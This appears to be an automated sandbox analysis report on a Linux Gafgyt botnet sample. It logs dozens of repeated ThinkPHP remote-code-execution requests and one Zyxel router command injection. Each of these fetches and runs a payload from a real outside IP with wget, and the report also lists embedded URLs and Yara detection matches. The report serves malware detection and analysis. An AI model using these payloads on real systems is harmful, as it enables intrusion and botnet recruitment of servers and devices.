Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: unknown

HTTP traffic detected: POST /cgi-bin/ViewLog.asp HTTP/1.1Host: 192.168.0.14:80Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.20.0Content-Length: 227Content-Type: application/x-www-form-urlencodedData Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://193.239.147.201/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Source: mpsl.elf	String found in binary or memory: http://193.239.147.201/bins/x86
Source: mpsl.elf	String found in binary or memory: http://193.239.147.201/zyxel.sh;
Source: mpsl.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: mpsl.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Malicious sample detected (through community Yara rule)

Source: mpsl.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: mpsl.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5458.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5458.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5457.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5457.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5452.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5452.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5451.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5451.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5465.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5465.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5449.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5449.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5467.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5467.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5459.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5459.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5455.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5455.1.00007f6828400000.00007f6828418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: mpsl.elf PID: 5449, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: mpsl.elf PID: 5449, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: mpsl.elf PID: 5451, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: mpsl.elf PID: 5451, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: mpsl.elf PID: 5452, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: mpsl.elf PID: 5452, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: mpsl.elf PID: 5457, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
